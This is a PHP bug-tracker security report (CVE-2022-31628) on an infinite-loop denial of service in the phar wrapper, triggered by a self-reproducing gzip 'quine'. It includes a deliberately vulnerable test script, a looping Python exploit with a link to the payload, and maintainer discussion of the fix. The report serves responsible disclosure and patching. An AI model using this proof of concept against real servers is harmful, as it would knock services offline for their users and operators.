php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #81726 phar wrapper can occur dos when using quine gzip file
Submitted: 2022-07-19 14:30 UTC Modified: 2022-09-29 18:58 UTC
From: ohseungju5 at gmail dot com Assigned: stas (profile)
Status: Closed Package: PHAR related
PHP Version: 7.4.30 OS: ubuntu-20.04
Private report: No CVE-ID: 2022-31628
 [2022-07-19 14:30 UTC] ohseungju5 at gmail dot com
Description:
------------
follow below url
https://github.com/php/php-src/blob/2f5295692fde289f99aa9701528dcde4c78b780f/ext/phar/phar.c#L1623

in line 1652, php execute while statement until the file pointer returns eof.

while(!php_stream_eof(fp)) {
		if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
			MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
		}

after entering the while statement, value of test variable is set to \1.
However, we can set value of test variable to \0 after passing if statements in line 1660, 1720.
https://github.com/php/php-src/blob/2f5295692fde289f99aa9701528dcde4c78b780f/ext/phar/phar.c#L1718
https://github.com/php/php-src/blob/2f5295692fde289f99aa9701528dcde4c78b780f/ext/phar/phar.c#L1756

If we can constantly set value of test variable to \0, then we can make php fall into an infinite loop.

Of course, we have to upload a gzip payload for the attack on the victim's server. However, this is not a problem because many php servers support upload.



Test script:
---------------
test_dos.php

<?php
file_exists($_GET['file']);
?>

exploit.py

import requests

SERVER = ""
while True:
    try:
        requests.get(SERVER+"/test_dos.php?file=phar://2xq.gz",timeout=1)
    except:
        pass

2xq.gz

hxxp://ssrf.kr/2xq.gz

Expected result:
----------------
I don't know correct result of this.
Maybe, there is no problem with the implementation.
But no one would have expected that decompressing gzip file could make strange file that would return gzip file again.

Actual result:
--------------
An infinite loop occurs in all files with php extensions

Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2022-07-19 14:34 UTC] ohseungju5 at gmail dot com
Reporter Credit: @real_as3617, @gPayl0ad
 [2022-07-20 09:59 UTC] ohseungju5 at gmail dot com
file() filetime() filectime() fileatime() file_put_contents() fileinode() file_exists() filegroup() fileowner() file_get_contents() fopen() fileperms() is_dir() is_readable() is_executable() is_writable() is_writeable() is_file() is_link() parse_ini_file() copy() unlink() stat() readfile()

dos can occur in all functions where phar wrapper is available
 [2022-07-20 10:32 UTC] ohseungju5 at gmail dot com
Also, since the code of phar.c has rarely been updated, it is expected to work the same in latest version of php.
 [2022-07-25 14:09 UTC] cmb@php.net
-Assigned To: +Assigned To: stas
 [2022-07-25 14:09 UTC] cmb@php.net
Thank you for reporting this issue!

I was not aware of compressed file quines[1], but indeed, these
would cause an infinite loop with all relevant PHP versions.

Suggested patch: <https://gist.github.com/cmb69/77ad17bf57c6ef35785476d5328b4b74>.

Stas, what do you think?

[1] <https://honno.dev/gzip-quine/>
 [2022-08-01 04:48 UTC] remi@php.net
phar are mostly code archive

So if you allow phar from untrusted sources, of course this may raise lot of issues.

IMHO this should be manage as (at most) "low" security
(and thus go thru next RC without a need for a CVE)
 [2022-08-01 05:44 UTC] stas@php.net
I'm not sure what's going on here - why would phar try repeatedly to decompress the same archive? Isn't once enough?
 [2022-08-01 05:55 UTC] stas@php.net
The code in example is obviously insecure (you can force it to work as open proxy, or do other nasty stuff with various wrappers) but if it has problems with phar:// on something as simple as file_exists, it still can be a problem, because inspecting phars doesn't seem to be an inherently insecure operation. I don't think it'd execute the stub when inspecting it, or something like that?
 [2022-08-01 05:56 UTC] stas@php.net
-Assigned To: stas +Assigned To: cmb
 [2022-08-01 09:17 UTC] ohseungju5 at gmail dot com
Of course, allowing phar wrapper can cause many security problems, but I don't think this bug has a low severity. The important thing about this bug is that all php workers fall infinite loop in just a few requests.
And that poc is the most extreme example.
The same bug occurs when using the poc of CVE-2020-7068.

----- ----- php.ini -----
+ + phar.cache_list =/path/2xq.gz
-------------------

https://bugs.php.net/bug.php?id=79797
Of course, this bug was published with a cve.
 [2022-08-01 09:21 UTC] ohseungju5 at gmail dot com
And, I agree with stats. just once is enough.
 [2022-08-01 09:39 UTC] ohseungju5 at gmail dot com
oh sorry. not stats but stas
 [2022-08-01 13:56 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2022-08-01 13:56 UTC] cmb@php.net
To clarify, this issue does not only affect the phar stream
wrapper, but also the PharData class, which is not supposed to
cause such issues, and is likely not rarely used to deal with .tgz
files.  A simple

    new PharData(__DIR__ . "/quine.tgz");

causes an infinite loop.

> Isn't once enough?

Maybe, but at least wrt. backwards compatibility I wouldn't
disallow multiple passes for now; after all, a gzip compressed
file might have been gzip compressed again (maybe accidentially),
and that is handled fine.
 [2022-08-01 15:15 UTC] stas@php.net
> a gzip compressed file might have been gzip compressed again (maybe accidentially), and that is handled fine.

What do you mean here by "handled fine"? If you gzip a gzipped file again, then nobody I think expects that after you run "gzip -d" on it, it'd try to decompress it infinitely until it gets to the "original" - the expectation would be it runs decompression once. I don't see why the expectation for phar should be any different.
 [2022-08-02 09:11 UTC] cmb@php.net
> the expectation would be it runs decompression once

Fair enough.  Still, for BC reasons we probably should not change
that in a stable version, at least not in PHP 7.4.
 [2022-09-22 05:17 UTC] ohseungju5 at gmail dot com
any progress?
 [2022-09-23 11:58 UTC] cmb@php.net
This issue is scheduled to be fixed with the next GA releases
(2022-09-29).  A slight variation of my suggested patch will be
used (with recursion_count = 3 instead of 100).
 [2022-09-26 04:08 UTC] ohseungju5 at gmail dot com
can i get cve?
 [2022-09-27 13:08 UTC] derick@php.net
-CVE-ID: +CVE-ID: 2022-31628
 [2022-09-27 13:54 UTC] derick@php.net
-Status: Assigned +Status: Closed
 [2022-09-27 13:54 UTC] derick@php.net
Thank you for your bug report. This issue has already been fixed
in the latest released version of PHP, which you can download at
http://www.php.net/downloads.php


 [2024-02-02 06:14 UTC] chenyongjun at bufang dot com
The following pull request has been associated:

Patch Name: Fix some grammatical errors on home page
On GitHub:  https://github.com/php/web-doc/pull/18
Patch:      https://github.com/php/web-doc/pull/18.patch
 [2024-04-23 06:31 UTC] 156190772 at qq dot com
The following pull request has been associated:

Patch Name: Ignore externally managed and generated files
On GitHub:  https://github.com/php/web-windows/pull/21
Patch:      https://github.com/php/web-windows/pull/21.patch
 [2024-04-23 06:31 UTC] 156190772 at qq dot com
The following pull request has been associated:

Patch Name: Prepare for longer commit hashes
On GitHub:  https://github.com/php/web-windows/pull/24
Patch:      https://github.com/php/web-windows/pull/24.patch
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Nov 24 17:01:30 2024 UTC